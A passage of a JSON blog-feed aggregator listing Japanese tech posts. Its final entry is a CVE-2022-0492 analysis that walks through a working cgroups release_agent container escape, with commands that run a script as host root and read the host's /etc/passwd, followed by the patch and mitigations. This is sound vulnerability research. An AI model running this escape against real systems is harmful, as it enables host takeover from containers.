Yasumoto","authorId":"atusy"},{"title":"chowcho.nvimで任意の関数を、対話的に選択したwindowで実行","contentSnippet":"chowcho.nvimを使うと、Neovimの各windowに番号が表示され、目的番号を入力すると、フォーカスを移動できます。https://github.com/tkmpypy/chowcho.nvim今回、この機能を一般化し、winidを受け取る任意の関数を実行できるようにしました。","link":"https://blog.atusy.net/2022/07/31/chowcho-nvim-any-func/","isoDate":"2022-07-31T00:00:00.000Z","dateMiliSeconds":1659225600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ビットコイン・ライトニングネットワーク概論","contentSnippet":"https://cryptocurrency.connpass.com/event/254173/\\rhttps://event.ospn.jp/osc2022-online-kyoto/session/618650\\r【OSC2022 Online Kyoto にて発表】\\rビットコインは送金トランザクションの処理量に限界があり、ブロックチェーンの外での送金を行うオフチェーン技術により手数料の軽減と、送金の高速化を実現できます。オフチェーンの中でもビットコインと同様、中央管理者のいないライトニングネットワークの開発が進んでいます。ビットコインの復習を少しした後、ライトニング・ネットワーク技術の概論をお話しいたしました。","link":"https://speakerdeck.com/shukob/bitutokoinraitoningunetutowakugai-lun","isoDate":"2022-07-30T04:00:00.000Z","dateMiliSeconds":1659153600000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"[2022/07/015] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/ar1_fxX601E 告知とかニュースっぽいもの 『Linuxで動かしながら学ぶTCP/IPネットワーク入門』でネットワークの勉強をし...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220715","isoDate":"2022-07-15T07:31:08.000Z","dateMiliSeconds":1657870268000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/07/01] #kubenews 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"#kubenewsの2022年07月01日の回で話す、@bells17が今週気になったニュース記事をまとめたものです自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってますこの記事自体はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です配信URL:https://youtu.be/R7VHtaBZFkQ 告知とかニュースっぽいもの Kubernetes Novice Tokyo #20にてKueueのセッションを行...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220701","isoDate":"2022-07-01T11:14:01.000Z","dateMiliSeconds":1656674041000,"authorName":"bells17","authorId":"bells17"},{"title":"AWS SAP 合格体験記 2022/06","contentSnippet":"はじめにネットで公開されている数々のAWS Certified Solutions Architect - Professionalの合格体験記や勉強法などにお世話になったので自分も書いてみることにしました。教材選びや学習スケジュールの参考になれば嬉しいです。 私の前提知識まず、本題に入る前に私のSAPを受ける前までのスキルセットを軽く紹介させてください。業務でのAWS歴は8ヶ月ほどで現在SREとして働いています以前はRuby on Railsなどを書くプログラマーをやっていましたAWS SAAは2022/03に取得しましたAWSではない他のIT資格は以下で...","link":"https://zenn.dev/tayusa/articles/7b3dd99a79403c","isoDate":"2022-06-24T00:36:49.000Z","dateMiliSeconds":1656031009000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"golangでHTTP3を試してみる","contentSnippet":"はじめについ先日、HTTP3がRFC9114として正式に発表されました。https://blog.cloudflare.com/cloudflare-view-http3-usage/RFC読むよりとりあえずパケット見る派なので、とりあえずコード書いて動かしてキャプチャしたいところです。quic-goは http3 ディレクトリがあり、対応してそうなのでサンプルコードを書いてみました。数日前にcommitが入っていて開発も活発そうですね。サンプルのサーバ側コードを試す時はお手数ですが、opensslやmkcertコマンドなどでご自分で公開鍵&秘密鍵を生成してくださ...","link":"https://zenn.dev/satoken/articles/golang-hajimete-http3","isoDate":"2022-06-14T00:42:51.000Z","dateMiliSeconds":1655167371000,"authorName":"satoken","authorId":"satoken"},{"title":"istio-proxyがどのように通信を仲介しているかを知る","contentSnippet":"目的前回、書いた記事で素のKubernetesのネットワークについて少し理解できたのですが、Istioを入れた場合はEnvoyが通信を仲介するのでその仕組みを知りたく調べてみましたhttps://zenn.dev/tayusa/articles/c705cd65b6ee74 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 クラスタのセットアップ kindでクラスタ作成https:...","link":"https://zenn.dev/tayusa/articles/aa54bbff3d0d2d","isoDate":"2022-06-03T18:42:53.000Z","dateMiliSeconds":1654281773000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"asdf のバージョン アップがうまくいかなかった","contentSnippet":"最近、転職により業務環境が Windows から Mac に変わったことで、ツール類のバージョン管理として asdf を使用しはじめました。asdf 自体のバージョンアップがうまくいかない事象に直面したため、解決方法をメモしておきます。 サマリHomebrew により asdf をバージョンアップしたら、asdf でインストールしたツールが使用できなくなりました。shim ディレクトリ内のスクリプトに記述された asdf のパスが古いバージョンとなっていたことが原因でした。shim ディレクトリを別のディレクトリに移動後、asdf reshim を実行することで shim デ...","link":"https://zenn.dev/kyohei_saito/articles/40a13800f34d5f","isoDate":"2022-05-29T09:36:54.000Z","dateMiliSeconds":1653817014000,"authorName":"Kyohei Saito","authorId":"kiyos"},{"title":"KubernetesのServiceの挙動を確認する","contentSnippet":"目的普段、Kubernetesを触ってはいるのですが、表面的な使い方しか知らないので動きを確認してみます 環境OS: Arch Linux(5.17.9-arch1-1)k8sの環境: kindhttps://kind.sigs.k8s.io/version 0.14.0デフォルトのk8sのバージョンは1.24 ひとまず、ローカルでクラスタを立てる環境に応じてkindをインストールhttps://kind.sigs.k8s.io/docs/user/quick-start/#installationクラスタの作成$ kind ...","link":"https://zenn.dev/tayusa/articles/c705cd65b6ee74","isoDate":"2022-05-28T12:19:47.000Z","dateMiliSeconds":1653740387000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"DenoとTypeScriptで自作CLIツールのghfを移植してみた(動機編)","contentSnippet":"以前、ghコマンドを曖昧検索で便利にするghfコマンドを作りました。GitHub CLI(gh)に曖昧検索の力を加えるghfコマンドを作ってzshプラグイン化した","link":"https://blog.atusy.net/2022/05/27/deno-ghf/","isoDate":"2022-05-27T00:00:00.000Z","dateMiliSeconds":1653609600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueueアーキテクチャ/Kueue Architecture","contentSnippet":"参考リンク一覧:\\rコードリーディングメモ: https://zenn.dev/bells17/scraps/16625963e51d23 \\r動作確認用manifests: https://github.com/bells17/tmp/tree/main/kueue-example \\rリポジトリ: https://github.com/kubernetes-sigs/kueue/tree/v0.1.0\\rDesign Docs(controller): https://bit.ly/kueue-controller-design \\rDesign Docs(API): https://bit.ly/kueue-apis \\rOld Proposal: https://bit.ly/k8s-job-management \\r\\r---\\r\\rhttps://youtu.be/CFUfw3cMNI8?t=724\\rにてこのスライドを使ったKueueの解説セッションを行いましたので動画で見たい方はこちらでどうぞ","link":"https://speakerdeck.com/bells17/kueue-architecture","isoDate":"2022-05-24T04:00:00.000Z","dateMiliSeconds":1653364800000,"authorName":"bells17","authorId":"bells17"},{"title":"Goで立てたWebサーバーでソケットを学ぶ","contentSnippet":"目的TCPなどにまるで明るくないので、学習のために調べてみました 環境Arch Linux(5.17.9-arch1-1)go version go1.18.3 linux/amd64 やることGoで書いたWebサーバーを動かして挙動を確認したり、少しコードを見てみますコードは以下ですpackage mainimport (\\t\\"fmt\\"\\t\\"log\\"\\t\\"net/http\\"\\t\\"time\\")func main() {\\thttp.HandleFunc(\\"/\\", func(w http.ResponseWriter, r *http.Request)...","link":"https://zenn.dev/tayusa/articles/077d911b357a92","isoDate":"2022-05-22T12:32:11.000Z","dateMiliSeconds":1653222731000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"golangで作るHTTP2プロトコル","contentSnippet":"はじめに前回まででTLS1.3+HTTPのプロトコルスタックの自作に成功しました。自作したのはHTTP1.1です。皆さんご存知のように新しいVersionのHTTP2が普及されています。今回はHTTP2プロトコルスタックを自作してみようと思います。今回の方針です。net/http2 は使わない自作したコードでリクエストをnginxに送りhtmlが返ってくればヨシ!HTTP2でGETを送るgoのコードの処理を自作したということなので、HTTP2自体を全部作ってるわけではなく一部になります、ご承知おきください\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️\uD83D\uDE47‍♂️またHTTP2自体の解説より実装中...","link":"https://zenn.dev/satoken/articles/golang-http2","isoDate":"2022-05-16T12:00:30.000Z","dateMiliSeconds":1652702430000,"authorName":"satoken","authorId":"satoken"},{"title":"golangで作るTLS1.3プロトコル","contentSnippet":"はじめに前回までの記事でTLS1.2プロトコルスタックを自作してみました。ただ皆さんご存知の通り、TLS1.2の脆弱性の対策やQUICなど新しいプロトコルへの対応を考慮して設計したTLS1.3が2018年にリリースされ普及が進んでいます。使用率ではまだTLS1.2が一般的ですが今後は1.3へと置き換えが進んでいくと、どこかの時点で逆転するのでしょう。そのときに慌てて学ぶよりも、今1.3も実装して学ぶことにします\uD83D\uDE0Aまぁ1.2作れたしイケるでしょう(死亡フラグ\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07)今回の実装方針です。crypto/tls は一切使わずTLS1.3のフルハンドシェイクをオレオレで実装する...","link":"https://zenn.dev/satoken/articles/golang-tls1_3","isoDate":"2022-05-06T13:25:32.000Z","dateMiliSeconds":1651843532000,"authorName":"satoken","authorId":"satoken"},{"title":"Neovimのカラースキームを編集中のバッファのファイルパスに応じて変える","contentSnippet":"Vim/NeovimでLSPを利用して関数などの定義を参照すると、気付いたら標準ライブラリなどを参照している、なんて場面があります。どこまで実装を追いたいかは人それぞれとは言え、作業ディレクトリの内外どちらのファイルを参照しているかはすぐに気付ける方がいいでしょう。","link":"https://blog.atusy.net/2022/04/28/vim-colorscheme-by-buffer/","isoDate":"2022-04-28T00:00:00.000Z","dateMiliSeconds":1651104000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Kueue入門/Kueue Introduction","contentSnippet":"#k8sjp 第50回のLT資料です\\rhttps://k8sjp.connpass.com/event/244591/","link":"https://speakerdeck.com/bells17/kueue-introduction","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"bells17","authorId":"bells17"},{"title":"ProtocolBuffers/gRPCを安全に書き進めるためのエトセトラ","contentSnippet":"OWASP Fukuoka Meeting #6 \\rhttps://owasp-kyushu.connpass.com/event/244388/ \\r#owaspfukuoka","link":"https://speakerdeck.com/nwiizo/protocol-buffers-grpc-wo-an-quan-nishu-kijin-merutamefalseetosetora","isoDate":"2022-04-27T04:00:00.000Z","dateMiliSeconds":1651032000000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"golangで作るTLS1.2プロトコル(ECDHE&クライアント認証編)","contentSnippet":"はじめに前回TLS1.2プロトコルスタックを自作してみましたが、実装が及んでない部分がありました。1つは鍵交換がRSAだけになっているのともう1つはクライアント認証に対応していないところです。RSAではその仕組み上セキュリティ的に脆弱な点がありますし、サーバからクライアント認証を求められたら対応できませんので機能追加を行います。まずはECDHE鍵交換の対応から行います。 ECHDE鍵交換前回の記事でも書きましたがRSAでは毎回同じ公開鍵でpremaster secretを暗号化するため、秘密鍵が一旦漏れてしまうとそれまでの通信が全て復号される可能性があります。このRS...","link":"https://zenn.dev/satoken/articles/golang-tls1_2_2","isoDate":"2022-04-22T02:03:50.000Z","dateMiliSeconds":1650593030000,"authorName":"satoken","authorId":"satoken"},{"title":"zennの執筆環境向けdevcontainerを作成した話","contentSnippet":"タイトルまんまでzennの執筆環境向けdevcontainerを作成したという話です前々からzennの記事はGithub repositoryと連携して書いており、codespaceにvscodeから接続して執筆してたのですが、zenn-cliを使ったプレビューが可能らしいということを最近知ったので、devcontainerの勉強がてらサクッとプレビューが可能な環境を作りましたという内容になります作ったdevcontainerのリポジトリはこちらですhttps://github.com/bells17/zenn-template 使い方READMEに書いてある通りですが、te...","link":"https://zenn.dev/bells17/articles/zenn-devcontainer","isoDate":"2022-04-17T15:27:41.000Z","dateMiliSeconds":1650209261000,"authorName":"bells17","authorId":"bells17"},{"title":"golangで作るTLS1.2プロトコル","contentSnippet":"はじめに前回自作でTCPIP+HTTPを実装して動作を確認することができました。しかしご覧頂いた方はおわかりのように、通信はHTTP=平文でやり取りされておりパスワードなど機密情報が用意に見れてしまう状態です。普段我々がブラウザに安心してパスワードを入力しているのは通信がTLSで暗号化されているからです。ではそのTLSの仕組みはどうなっているのでしょう?恥ずかしい限りですが僕はわかりません。\uD83D\uDE07\uD83D\uDE07\uD83D\uDE07ということで以下を読みながらTLSプロトコルを自作してみてその仕組みを学ぶことにします。マスタリングTCP/IP情報セキュリティ編RFC5246プロフェッショナルSSL/T...","link":"https://zenn.dev/satoken/articles/golang-tls1_2","isoDate":"2022-04-16T03:22:38.000Z","dateMiliSeconds":1650079358000,"authorName":"satoken","authorId":"satoken"},{"title":"[2022/04/15] 今週のKubernetes + Cloud Native + その他ニュース","contentSnippet":"普段は#kubenewsの2022年04月15日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/j76uphcYs2E 告知とかニュースっぽいもの Kubernetes Meetup TokyoでLTする予定ですhttps...","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220415","isoDate":"2022-04-15T12:50:24.000Z","dateMiliSeconds":1650027024000,"authorName":"bells17","authorId":"bells17"},{"title":"吉祥寺.pm29で久しぶりにLTしてきました #kichijojipm","contentSnippet":"kichijojipm.connpass.com久しぶりにLTしてきました。久しぶりに外で発表したいなと思いつつ、だいぶブランクあるのでちょうどいいリハビリできるところがないかな。— masasuzu (@masasuz) 2022年4月9日 こんなこと考えてたら良いタイミングできちぴーが開催されるので、LT申し込んでみました。#kichijojipm 7年ぶりにLTしたので緊張した。というのと、前回の発表調べて7年前もきちぴーあったのかという驚きもあった。— masasuzu (@masasuz) 2022年4月12日 どうやら7年ぶりだったみたいです。タイミング的に最終出社日の翌日だったので、キャリアの話をしました。diary.masasuzu.net正直、LTにおさまる量じゃなかったのは反省点です。資料ももうちょっとなんとかできたかなあという気持ちがあります。少しずつ登壇回数増やして、勘を取り戻していきたいところ。","link":"https://blog.masasuzu.net/entry/2022/04/15/202342","isoDate":"2022-04-15T11:23:42.000Z","dateMiliSeconds":1650021822000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2022-04-12 吉祥寺.pm 29","contentSnippet":"","link":"https://speakerdeck.com/masasuzu/2022-04-12-ji-xiang-si-dot-pm-29","isoDate":"2022-04-12T04:00:00.000Z","dateMiliSeconds":1649736000000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"CVE-2022-0492 調査まとめ","contentSnippet":"cgroups v1 の脆弱性 CVE-2022-0492 について、調査した内容をまとめました。イベントで発表した内容ですが、時間の都合で語りきれなかった部分も多く、内容を加筆してブログに書くことにしました。 speakerdeck.comCVE-2022-0492 概要release_agent についてエクスプロイト前提条件要点検証修正パッチコンテナセキュリティseccompAppArmor (SELinux)Kubernetes の場合EKS, GKE の場合さいごに参考リンクCVE-2022-0492LinuxコンテナセキュリティCVE-2022-0492 概要CVE-2022-0492 は cgroups v1 における特権昇格・コンテナブレイクアウトの脆弱性です。cgroups v1 の release_agent 機能を悪用することで、コンテナからホストの root 権限で任意コマンド実行が可能となります。詳細は後述しますが、これは本来特権コンテナに限定されるべき設定が、capabilities のチェック漏れにより非特権コンテナから行える状態だったことが原因です。本脆弱性は seccomp や AppArmor/SELinux を有効にすることで回避可能です。release_agent についてcgroups v1 は cpu, memory, pids のようにリソースをサブシステムに分割し、各サブシステムがディレクトリ構造を取っています。# ls /sys/fs/cgroup/blkio cpu,cpuacct cpuset freezer memory net_cls net_prio pids systemdcpu cpuacct devices hugetlb misc net_cls,net_prio perf_event rdma unifiedrelease_agent は各 cgroup サブシステムのルートディレクトリに配置されるファイルで、cgroup 内のプロセスが終了する時に起動させるプログラムを設定します。リリースエージェントプログラム の起動の有無は、cgroup ディレクトリ内の notify_on_release の値で判断されます。このファイルはルート以下、各 child cgroup のディレクトリにも配置されています。notify_on_release = 1 の場合、リリースエージェントプログラムを起動します。cgroup のディレクトリ構成pids cgroup のルートディレクトリを見ると、以下のように release_agent, notify_on_release のファイルを確認できます。# ls /sys/fs/cgroup/pids/cgroup.clone_children cgroup.sane_behavior docker notify_on_release system.slice user.slicecgroup.procs default init.scope release_agent tasks# cat /sys/fs/cgroup/pids/release_agent ← 空のファイル# cat /sys/fs/cgroup/pids/notify_on_release 0ちなみにコンテナに CAP_SYS_ADMIN がある場合、release_agent を使えば本脆弱性を利用することなくブレイクアウト可能です。https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)また cgroups v2 には release_agent がなく、リリースの通知は別の仕組みを使っています。エクスプロイト前提条件本脆弱性は次の条件を全て満たす場合に影響があります。root ユーザーまたは、no_new_privsフラグなしでコンテナを起動しているseccomp, AppArmor/SELinux がいずれも有効でないホストの非特権ユーザー名前空間が有効(ubuntu ではデフォルトの設定です)各設定の確認方法↓# cat /proc/sys/kernel/unprivileged_userns_clone ← 非特権ユーザ名前空間1# cat /proc/self/status | grep Seccomp ← seccompSeccomp: 0Seccomp_filters: 0# cat /proc/self/attr/current ← AppArmordocker-default (enforce)要点コンテナから cgroups の release_agent に書き込みたいrdma サブシステムは root cgroup に所属しているが、readonly でマウントされているcgroup を rw で新たにマウントしたいが、マウントには CAP_SYS_ADMIN が必要unshare で user namespace (ns) を作成すれば CAP_SYS_ADMIN が得られるcgroup, mount ns も同時に作成することで cgroup をマウント可能にrdma cgroup をマウント すると release_agent に書き込み可能cgroup 内のプロセスが終了するタイミングで、任意のプログラムをホストの root 権限で実行検証脆弱な Kernel バージョンで CVE-2022-0492 を検証します。インスタンスに用意した ubuntu 上で、seccomp, AppArmor をオフにした docker コンテナを起動します。# uname -aLinux ip-172-31-1-29 5.13.0-1017-aws #19~20.04.1-Ubuntu SMP Mon Mar 7 12:53:12 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashdocker はコンテナ作成時に cgroup ns を作成しないので、コンテナはホストと同じ cgroup ns に所属しています。自身の cgroup を確認すれば root cgroup からのパスがわかるため、コンテナ内から各サブシステムが root cgroup に所属しているかどうか調べることができます。root@ab988587a245:/# cat /proc/self/cgroup13:misc:/12:rdma:/ ← rdma サブシステムは root cgroup11:hugetlb:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a10:cpuset:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a9:net_cls,net_prio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a8:perf_event:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a7:blkio:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a6:devices:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a5:freezer:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a4:cpu,cpuacct:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a3:pids:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a2:memory:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a1:name=systemd:/docker/2fe60dee4cbe58e3815f096eb1253d21bab225fb764dda97e211820883cf1a6a0::/system.slice/containerd.serviceこれで rdma サブシステムが root cgroup に所属していることがわかりました。root@ab988587a245:/# mount | grep \'cgroup (ro\'cgroup on /sys/fs/cgroup/systemd type cgroup (ro,nosuid,nodev,noexec,relatime,xattr,name=systemd)cgroup on /sys/fs/cgroup/memory type cgroup (ro,nosuid,nodev,noexec,relatime,memory)cgroup on /sys/fs/cgroup/pids type cgroup (ro,nosuid,nodev,noexec,relatime,pids)cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (ro,nosuid,nodev,noexec,relatime,cpu,cpuacct)cgroup on /sys/fs/cgroup/freezer type cgroup (ro,nosuid,nodev,noexec,relatime,freezer)cgroup on /sys/fs/cgroup/devices type cgroup (ro,nosuid,nodev,noexec,relatime,devices)cgroup on /sys/fs/cgroup/blkio type cgroup (ro,nosuid,nodev,noexec,relatime,blkio)cgroup on /sys/fs/cgroup/perf_event type cgroup (ro,nosuid,nodev,noexec,relatime,perf_event)cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (ro,nosuid,nodev,noexec,relatime,net_cls,net_prio)cgroup on /sys/fs/cgroup/cpuset type cgroup (ro,nosuid,nodev,noexec,relatime,cpuset)cgroup on /sys/fs/cgroup/hugetlb type cgroup (ro,nosuid,nodev,noexec,relatime,hugetlb)cgroup on /sys/fs/cgroup/rdma type cgroup (ro,nosuid,nodev,noexec,relatime,rdma) ← readonly でマウントされているcgroup on /sys/fs/cgroup/misc type cgroup (ro,nosuid,nodev,noexec,relatime,misc)root@ab988587a245:/# ls -l /sys/fs/cgroup/rdma/total 0-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.clone_children-rw-r--r-- 1 root root 0 Mar 15 01:40 cgroup.procs-r--r--r-- 1 root root 0 Mar 15 01:40 cgroup.sane_behavior-rw-r--r-- 1 root root 0 Mar 15 01:40 notify_on_release-rw-r--r-- 1 root root 0 Mar 29 16:01 release_agentdrwxr-xr-x 13 root root 0 Mar 26 21:07 system.slice-rw-r--r-- 1 root root 0 Mar 15 01:40 tasksroot@ab988587a245:/# echo test > /sys/fs/cgroup/rdma/release_agent bash: /sys/fs/cgroup/rdma/release_agent: Read-only file system ← 書き込みエラーというわけで、cgroup を rw でマウントできれば良いことになります。ここで capability を確認すると、コンテナは CAP_SYS_ADMIN を持っておらず、このままでは cgroup をマウントする権限がありません。root@ab988587a245:/# apt update && apt install -y libcap2-binroot@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 00000000a80425fbroot@ab988587a245:/# capsh --decode=00000000a80425fb0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcaproot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mntmount: /mnt: permission denied. ← マウントエラーCAP_SYS_ADMIN を付与するため user ns を作成し新たにプロセスを立ち上げます。さらに mount, cgroup ns を同時に作成することで、コンテナ内でのマウントが可能になります。マウントさえできれば release_agent に書き込むことができます。root@ab988587a245:/# unshare -rmC bash ← user, mount, cgroup ns を作成root@ab988587a245:/# cat /proc/self/status | grep CapEffCapEff: 000001ffffffffffroot@ab988587a245:/# capsh --decode=000001ffffffffff0x000001ffffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read,38,39,40 ← CAP_SYS_ADMIN を持つroot@ab988587a245:/# mount -t cgroup -o rdma cgroup /mnt ← rdma サブシステムをマウントroot@ab988587a245:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@ab988587a245:/# mount | grep \'cgroup (rw\'cgroup on /mnt type cgroup (rw,relatime,rdma)ここまでで、コンテナ内から release_agent に書き込めるようになりました。続いてコンテナ内のルート (/) に、ホストの権限で実行させたいプログラムを配置します。今回は /etc/passwd をコンテナ内に出力するスクリプトを作成しています。release_agent に設定するのはプログラムのパスですが、ホストから見た絶対パスを指定する必要があります。root@ab988587a245:/# host_path=`sed -n \'s/.*\\\\perdir=\\\\([^,]*\\\\).*/\\\\1/p\' /etc/mtab`root@ab988587a245:/# echo $host_path/var/lib/docker/overlay2/20c4102a1a817b0e564734054b876c051732c62f4993ce682508ac7cd7fcb1c6/diff ← upperdir のパスroot@ab988587a245:/# echo \\"$host_path/cmd\\" > /mnt/release_agentroot@ab988587a245:/# echo \'#!/bin/sh\' > /cmdroot@ab988587a245:/# echo \\"cat /etc/passwd > $host_path/output\\" >> /cmdroot@ab988587a245:/# chmod a+x /cmd最後に用意したプログラムを起動するため、cgroup 内のプロセスを空にします。root@ab988587a245:/# mkdir /mnt/xx ← child cgroup を作成root@ab988587a245:/# ls /mnt/xx/cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasksroot@ab988587a245:/# echo 1 > /mnt/xx/notify_on_releaseroot@ab988587a245:/# sh -c \\"echo \\\\$\\\\$\\" > /mnt/xx/cgroup.procs ← すぐに終了するプロセスを child cgroup に追加root@ab988587a245:/# cat /output ← コンテナ内にホストの /etc/passwd が出力されているroot:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologin...修正パッチhttps://github.com/torvalds/linux/commit/24f6008564183aa120d07c03d9289519c2fe02afhttps://github.com/torvalds/linux/commit/467a726b754f474936980da793b4ff2ec3e382a7 static ssize_t cgroup_release_agent_write(struct kernfs_open_file *of, char *buf, size_t nbytes, loff_t off) { struct cgroup *cgrp;+ struct cgroup_file_ctx *ctx; BUILD_BUG_ON(sizeof(cgrp->root->release_agent_path) < PATH_MAX);+ /*+ * Release agent gets called with all capabilities,+ * require capabilities to set release agent.+ */+ ctx = of->priv;+ if ((ctx->ns->user_ns != &init_user_ns) ||+ !file_ns_capable(of->file, &init_user_ns, CAP_SYS_ADMIN))+ return -EPERM; cgrp = cgroup_kn_lock_live(of->kn, false);修正後は上記検証手順での release_agent への書き込みはできません。これは書き込みプロセスが CAP_SYS_ADMIN は持ちますが、init user ns でないためだと理解しています。init user ns かつ CAP_SYS_ADMIN を同時に満たすのは、非特権コンテナにおいては不可能となりました。(厳密にはプロセスの capability と、対象 cgroup の所有 user ns のチェックを行なっています)# uname -r5.17.0-051700rc7-generic# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@a45e44c77da9:/# unshare -rmC bashroot@a45e44c77da9:/# mount -t cgroup -o rdma cgroup /mntroot@a45e44c77da9:/# ls /mntcgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release release_agent tasksroot@a45e44c77da9:/# echo test > /mnt/release_agent bash: echo: write error: Operation not permittedただし特権コンテナでは引き続きコンテナブレイクアウトは可能です。SELinux を設定する等の対策は必要です。コンテナセキュリティコンテナセキュリティと本脆弱性の関係について簡単に見ていきます。seccompseccomp はコンテナ内で実行できるシステムコールを制限します。システムコールをブロックするため、ns を作成する段階でエラーとなります。# docker run --rm -it --security-opt apparmor=unconfined ubuntu bashroot@fb3522b81478:/# cat /proc/self/status | grep SeccompSeccomp: 2Seccomp_filters: 1root@fb3522b81478:/# unshare -rmC bashunshare: unshare failed: Operation not permittedAppArmor (SELinux)ファイル操作、プログラム実行、capabilities 等を制限します。# docker run --rm -it --security-opt seccomp=unconfined ubuntu bashroot@46912ffebb2c:/# cat /proc/self/attr/current docker-default (enforce)root@46912ffebb2c:/# unshare -rmC bashunshare: cannot change root filesystem propagation: Permission deniedKubernetes の場合Kubernetes においては、seccomp や AppArmor/SELinux は環境や設定次第では OFF のため影響が出る可能性があります。AppArmor/SELinux は Kubernetes ノードやコンテナランタイムで有効にする必要があります。さらに seccomp は Pod のマニフェストにも設定しなければなりません。また securityContext に適切な設定をすることも重要です。allowPrivilegeEscalation, readOnlyRootFilesystem, capabilities 等でコンテナの機能を制限すれば、今後生まれる脆弱性の予防にもなると考えます。EKS, GKE の場合EKS のノードに使われる Amazon Linux 2 では、rdma のようなコンテナ内に root cgroup がマウントされたサブシステムはないようです。このため cgroup を新規にマウントしても release_agent は見えず、本脆弱性を悪用することはできません。# docker run --rm -it --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu bashroot@287fcd93a54f:/# cat /proc/self/cgroup 